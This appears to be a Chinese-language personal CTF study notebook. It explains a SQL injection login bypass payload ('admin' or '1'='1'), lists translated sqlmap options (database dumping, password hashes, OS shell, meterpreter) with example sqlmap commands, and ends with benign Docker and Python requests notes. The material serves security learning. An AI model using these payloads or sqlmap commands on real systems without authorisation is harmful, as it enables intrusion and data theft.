=> SELECT * FROM users WHERE username = 'admin' or '1'='1' AND password = '$password'
- 首先要知道的是【=】优先于【and】,【and】优先于【or】,原来的式子可以写作 : SELECT * FROM users WHERE (username = 'admin') or ('1'='1' AND password = '$password') 很显然 如果存在 admin用户,那么 or 前面就是1,就是存在的,就不用管后面存不存在了。。这样查询的结果是恒成立的
- 而且攻击方的判断语句不是 SELECT * FROM users where username=$unam AND passeord = $passwd 这样使用变量来判断的,而是用sql查询的返回值判断的
- 那么就会直接进入 admin的后台
当然 admin' or '1'='10086 也算万能钥匙
sqlmap的使用
还没用sqlmap做出过题呢
我的sqlmap在 /home/tlsn/CTFTOOLS/sql-map/sqlmap 路径下
python3 ./sqlmap.py --help
抄作业---sqlmap的基本选项
Options:
-h,--help 显示基本帮助信息并退出
-hh 显示高级帮助信息并退出
--version 显示程序版本信息并退出
-v VERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。
Target目标
在这些选项中必须提供至少有一个确定目标
-d DIRECT 直接连接数据库的连接字符串
-u URL, --url=URL 目标URL (e.g."http://www.site.com/vuln.php?id=1"),使用-u或者--url
-l LOGFILE 从Burp或者WebScarab代理日志文件中分析目标
-x SITEMAPURL 从远程网站地图(sitemap.xml)文件来解析目标
-m BULKFILE 将目标地址保存在文件中,一行为一个URL地址进行批量检测。
-r REQUESTFILE 从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个--force-ssl参数来使用,或者可以在Host头后门加上:443
-g GOOGLEDORK 从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)
-c CONFIGFILE 从配置ini文件中加载选项
Request 请求:
这些选项可以用来指定如何连接到目标URL
--method=METHOD 强制使用给定的HTTP方法(例如put)
--data=DATA 通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。--data="id=1" -f --banner --dbs --users
--param-del=PARA.. 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。
--cookie=COOKIE HTTP Cookieheader 值
--cookie-del=COO.. 用来分隔cookie的字符串值
--load-cookies=L.. Filecontaining cookies in Netscape/wget format
--drop-set-cookie IgnoreSet-Cookie header from response
--user-agent=AGENT 默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用--user-agent参数来修改,同时也可以使用--random-agent参数来随机的从./txt/user-agents.txt中获取。当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入
--random-agent 使用random-agent作为HTTP User-Agent头值
--host=HOST HTTP Hostheader value
--referer=REFERER sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入
-H HEADER, --hea.. 额外的http头(e.g."X-Forwarded-For: 127.0.0.1")
--headers=HEADERS 可以通过--headers参数来增加额外的http头(e.g."Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP的认证类型 (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH.. HTTP 认证凭证(name:password)
--auth-file=AUTH.. HTTP 认证PEM证书/私钥文件;当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file,key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。
--ignore-401 Ignore HTTPError 401 (Unauthorized)忽略HTTP 401错误(未授权的)
--ignore-proxy 忽略系统的默认代理设置
--ignore-redirects忽略重定向的尝试
--ignore-timeouts 忽略连接超时
--proxy=PROXY 使用代理服务器连接到目标URL
--proxy-cred=PRO.. 代理认证凭证(name:password)
--proxy-file=PRO.. 从文件加载代理列表
--tor 使用Tor匿名网络
--tor-port=TORPORT 设置Tor代理端口
--tor-type=TORTYPE 设置Tor代理类型 (HTTP,SOCKS4 or SOCKS5 (缺省))
--check-tor 检查Tor的是否正确使用
--delay=DELAY 可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。
--timeout=TIMEOUT 可以设定一个HTTP(S)请求超过多久判定为超时,10表示10秒,默认是30秒。
--retries=RETRIES 当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。
--randomize=RPARAM可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样
--safe-url=SAFEURL 提供一个安全不错误的连接,每隔一段时间都会去访问一下
--safe-post=SAFE.. 提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。
--safe-req=SAFER.. 从文件中加载安全HTTP请求
--safe-freq=SAFE.. 测试一个给定安全网址的两个访问请求
--skip-urlencode 跳过URL的有效载荷数据编码
--csrf-token=CSR.. Parameter usedto hold anti-CSRF token参数用来保存反CSRF令牌
--csrf-url=CSRFURL URL地址访问提取anti-CSRF令牌
--force-ssl 强制使用SSL/HTTPS
--hpp 使用HTTP参数污染的方法
--eval=EVALCODE 在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。(e.g "import hashlib;id2=hashlib.md5(id).hexdigest()")
sqlmap.py -u"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"--eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
Injection 注入
这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。
-p TESTPARAMETER 可测试的参数
--skip=SKIP 跳过对给定参数的测试
--skip-static 跳过测试不显示为动态的参数
--param-exclude=.. 使用正则表达式排除参数进行测试(e.g. "ses")
--dbms=DBMS 强制后端的DBMS为此值
--dbms-cred=DBMS.. DBMS认证凭证(user:password)
--os=OS 强制后端的DBMS操作系统为这个值
--invalid-bignum 使用大数字使值无效
--invalid-logical 使用逻辑操作使值无效
--invalid-string 使用随机字符串使值无效
--no-cast 关闭有效载荷铸造机制
--no-escape 关闭字符串逃逸机制
--prefix=PREFIX 注入payload字符串前缀
--suffix=SUFFIX 注入payload字符串后缀
--tamper=TAMPER 使用给定的脚本篡改注入数据
Detection 检测
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容
--level=LEVEL 执行测试的等级(1-5,默认为1)
--risk=RISK 执行测试的风险(0-3,默认为1)
--string=STRING 查询时有效时在页面匹配字符串
--not-string=NOT.. 当查询求值为无效时匹配的字符串
--regexp=REGEXP 查询时有效时在页面匹配正则表达式
--code=CODE 当查询求值为True时匹配的HTTP代码
--text-only 仅基于在文本内容比较网页
--titles 仅根据他们的标题进行比较
Techniques技巧
这些选项可用于调整具体的SQL注入测试
--technique=TECH SQL注入技术测试(默认BEUST)
--time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
--union-cols=UCOLS 定列范围用于测试UNION查询注入
--union-char=UCHAR 暴力猜测列的字符数
--union-from=UFROM SQL注入UNION查询使用的格式
--dns-domain=DNS.. DNS泄露攻击使用的域名
--second-order=S.. URL搜索产生的结果页面
Enumeration 枚举
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的SQL语句。
-a, --all 获取所有信息
-b, --banner 获取数据库管理系统的标识
--current-user 获取数据库管理系统当前用户
--current-db 获取数据库管理系统当前数据库
--hostname 获取数据库服务器的主机名称
--is-dba 检测DBMS当前用户是否DBA
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--roles 枚举数据库管理系统用户的角色
--dbs 枚举数据库管理系统数据库
--tables 枚举的DBMS数据库中的表
--columns 枚举DBMS数据库表列
--schema 枚举数据库架构
--count 检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url --count -D testdb
--dump 转储数据库表项
--dump-all 转储数据库所有表项
--search 搜索列(S),表(S)和/或数据库名称(S)
--comments 获取DBMS注释
-D DB 要进行枚举的指定数据库名
-T TBL DBMS数据库表枚举
-C COL DBMS数据库表列枚举
-X EXCLUDECOL DBMS数据库表不进行枚举
-U USER 用来进行枚举的数据库用户
--exclude-sysdbs 枚举表时排除系统数据库
--pivot-column=P.. Pivot columnname
--where=DUMPWHERE Use WHEREcondition while table dumping
--start=LIMITSTART 获取第一个查询输出数据位置
--stop=LIMITSTOP 获取最后查询的输出数据
--first=FIRSTCHAR 第一个查询输出字的字符获取
--last=LASTCHAR 最后查询的输出字字符获取
--sql-query=QUERY 要执行的SQL语句
--sql-shell 提示交互式SQL的shell
--sql-file=SQLFILE 要执行的SQL文件
General 一般选项
这些选项可以用来设置一些一般的工作参数
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
--batch 从不询问用户输入,使用所有默认配置。
--binary-fields=.. 结果字段具有二进制值(e.g."digest")
--charset=CHARSET 强制字符编码
--crawl=CRAWLDEPTH 从目标URL爬行网站
--crawl-exclude=.. 正则表达式从爬行页中排除
--csv-del=CSVDEL 限定使用CSV输出 (default",")
--dump-format=DU.. 转储数据格式(CSV(default), HTML or SQLITE)
--eta 显示每个输出的预计到达时间
--flush-session 刷新当前目标的会话文件
--forms 解析和测试目标URL表单
--fresh-queries 忽略在会话文件中存储的查询结果
--hex 使用DBMS Hex函数数据检索
--output-dir=OUT.. 自定义输出目录路径
--parse-errors 解析和显示响应数据库错误信息
--save=SAVECONFIG 保存选项到INI配置文件
--scope=SCOPE 从提供的代理日志中使用正则表达式过滤目标
--test-filter=TE.. 选择测试的有效载荷和/或标题(e.g. ROW)
--test-skip=TEST.. 跳过试验载荷和/或标题(e.g.BENCHMARK)
--update 更新sqlmap
操作系统访问
这些选项可以用于访问后端数据库管理系统的底层操作系统
--os-cmd=OSCMD 执行操作系统命令(OSCMD)
--os-shell 交互式的操作系统的shell
--os-pwn 获取一个OOB shell,meterpreter或VNC
--os-smbrelay 一键获取一个OOBshell,meterpreter或VNC
--os-bof 存储过程缓冲区溢出利用
--priv-esc 数据库进程用户权限提升
--msf-path=MSFPATH MetasploitFramework本地的安装路径
--tmp-path=TMPPATH 远程临时文件目录的绝对路径
sqlmap的基本使用
sqlmap x GET注入
1、
如果你已知哪个参数可能受到影响,可以使用 -p
指定该参数,你也可以省略 -p
参数,让 sqlmap 自动测试所有参数。
直接 sqlmap -u "http://example.com/page?id=1" -p id
2、如果GET请求里有两个参数
如果你想让 sqlmap
测试所有参数,只需提供 URL,不用特别指定参数:
sqlmap -u "http://example.com/page?param1=value1¶m2=value2"
如果你想专门测试某个参数(比如 param1
),可以使用 -p
选项:
sqlmap -u "http://example.com/page?param1=value1¶m2=value2" -p param1
也可以同时指定多个参数
sqlmap -u "http://example.com/page?param1=value1¶m2=value2" -p param1,param2
3、直接拉满
sqlmap -u "http://example.com/page?param1=value1¶m2=value2" -p param1,param2 --level=5 --risk=3
之后的操作参考这个吧
https://blog.csdn.net/yzl_007/article/details/119974327
我还没有遇到过能用sqlmap完成注入的题目呢..
sqlmap x POST请求
用 --data
提供 POST 数据。使用 -p
参数指定你怀疑有漏洞的参数名称。如果不确定,sqlmap 会尝试测试所有参数。
sqlmap -u http://example.com/post --data="param1=value1¶m2=value2"
通用技巧
docker
docker命令
1、查看所有docker
docker ps -a
2、启动某docker
docker start 容器ID或容器名
3、停止某docker
docker stop 容器ID或容器名
4、删除某docker
sudo docker rm 容器ID或容器名
5、连接docker
docker文件初始化的时候会有这些 /var/www 之类的目录,我们该怎么进入呢?
docker exec -it [容器ID或名称] bash
或
docker exec -it [容器ID或名称] sh
即可进入
6、docker与外界传输文件
从外界传入docker中:
docker cp ./xxx docker名:/docker内地址
sudo docker cp ./111.txt 0a14497532fc:/var/www/html
从docker传入docker外
sudo docker cp 0a14497532fc:/var/www/html/111.txt ./
7、重建docker镜像
Docker镜像是一个轻量级、可执行的独立软件包,它包含运行应用所需的所有内容:代码、运行时环境、库、环境变量和配置文件。镜像是容器运行的基础,你可以把它看作是容器的“蓝图”。镜像是不可变的,这意味着一旦创建,它不会改变
在一些docker实践中发现,docker镜像在构建时包含了所有源码,这时如果我们想修改源码就只能在docker里修改,这是很困难的,为此,我们可以先在docker外修改好文件,再选择重新构建docker的方式
实际上名字任起
sudo docker build -t xxxxtlsn ./
8、删除某docker镜像
docker images -a
docker rmi <your-image-id> // r如果显示该镜像被使用,则先删除docker
或者用 docker-compose 命令也行
9、docker-compose命令重建镜像
https://blog.csdn.net/justlpf/article/details/132734556
docker-compose down // 删除所有容器
sudo docker rmi a5709eb9c7dd --force //删除构建该docker时所建的镜像
docker-compose up // 构建服务镜像
或者直接
docker-compose up --build // 即可 // --build 标志来强制重新构建镜像
不过由于重建的默认名字不变,故其会代替掉原来的镜像名字,而原来的镜像名字变为
我们应该及时删除一下(不然一个镜像占半个G磁盘),积累下来会很耗费磁盘
docker-compose 的一些命令
https://blog.csdn.net/justlpf/article/details/132734556
# 构建服务的镜像
docker-compose build
# 如果服务镜像不存在,则构建镜像并启动服务。
docker-compose up --build // -build 标志来强制重新构建镜像
docker-compose up --d // 用于启动Docker Compose 文件中定义的服务的容器,运行镜像并且将其作为容器运行在后台
# 重构服务。
docker-compose up --force-recreate
# 关闭docker
docker-compose stop xxx
相关python库学习
requests 库
1、相关函数
delete(url, args) | 发送 DELETE 请求到指定 url |
---|---|
get(url, params, args) | 发送 GET 请求到指定 url |
head(url, args) | 发送 HEAD 请求到指定 url |
patch(url, data, args) | 发送 PATCH 请求到指定 url |
post(url, data, json, args) | 发送 POST 请求到指定 url |
put(url, data, args) | 发送 PUT 请求到指定 url |
request(method, url, args) | 向指定的 url 发送指定的请求方法 |
2、每次调用 requests 请求之后,会返回一个 response 对象,该对象包含了具体的响应信息,如状态码、响应头、响应内容等:
apparent_encoding | 编码方式 |
---|---|
close() | 关闭与服务器的连接 |
content | 返回响应的内容,以字节为单位 |
cookies | 返回一个 CookieJar 对象,包含了从服务器发回的 cookie |
elapsed | 返回一个 timedelta 对象,包含了从发送请求到响应到达之间经过的时间量,可以用于测试响应速度。比如 r.elapsed.microseconds 表示响应到达需要多少微秒。 |
encoding | 解码 r.text 的编码方式 |
headers | 返回响应头,字典格式 |
history | 返回包含请求历史的响应对象列表(url) |
is_permanent_redirect | 如果响应是永久重定向的 url,则返回 True,否则返回 False |
is_redirect | 如果响应被重定向,则返回 True,否则返回 False |
iter_content() | 迭代响应 |
iter_lines() | 迭代响应的行 |
json() | 返回结果的 JSON 对象 (结果需要以 JSON 格式编写的,否则会引发错误) |
links | 返回响应的解析头链接 |
next | 返回重定向链中下一个请求的 PreparedRequest 对象 |
ok | 检查 "status_code" 的值,如果小于400,则返回 True,如果不小于 400,则返回 False |
raise_for_status() | 如果发生错误,方法返回一个 HTTPError 对象 |
reason | 响应状态的描述,比如 "Not Found" 或 "OK" |
request | 返回请求此响应的请求对象 |
status_code | 返回 http 的状态码,比如 404 和 200(200 是 OK,404 是 Not Found) |
text | 返回响应的内容,unicode 类型数据 |
url | 返回响应的 URL |
3、案例
使用 requests.request() 发送 get 请求:
# 导入 requests 包
import requests
# 发送请求
x = requests.request('get', 'https://www.runoob.com/')
# 返回网页内容
print(x.status_code)
设置请求头:
# 导入 requests 包
import requests
kw = {'s':'python 教程'}
# 设置请求头
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"}
# params 接收一个字典或者字符串的查询参数,字典类型自动转换为url编码,不需要urlencode()
response = requests.get("https://www.runoob.com/", params = kw, headers = headers)
# 查看响应状态码
print (response.status_code)
# 查看响应头部字符编码
print (response.encoding)
# 查看完整url地址
print (response.url)
# 查看响应内容,response.text 返回的是Unicode格式的数据
print(response.text)
post请求:
post() 方法可以发送 POST 请求到指定 url,一般格式如下:
requests.post(url, data={key: value}, json={key: value}, args)
- url 请求 url。
- data 参数为要发送到指定 url 的字典、元组列表、字节或文件对象。
- json 参数为要发送到指定 url 的 JSON 对象。
- args 为其他参数,比如 cookies、headers、verify等。
# 导入 requests 包
import requests
# 发送请求
x = requests.post('https://www.runoob.com/try/ajax/demo_post.php')
# 返回网页内容
print(x.text)
post 请求带参数:
# 导入 requests 包
import requests
# 表单参数,参数名为 fname 和 lname
myobj = {'fname': 'RUNOOB','lname': 'Boy'}
# 发送请求
x = requests.post('https://www.runoob.com/try/ajax/demo_post2.php', data = myobj)
# 返回网页内容
print(x.text)
附加请求参数
headers = {'User-Agent': 'Mozilla/5.0'} # 设置请求头
params = {'key1': 'value1', 'key2': 'value2'} # 设置查询参数
data = {'username': 'example', 'password': '123456'} # 设置请求体
response = requests.post('https://www.runoob.com', headers=headers, params=params, data=data)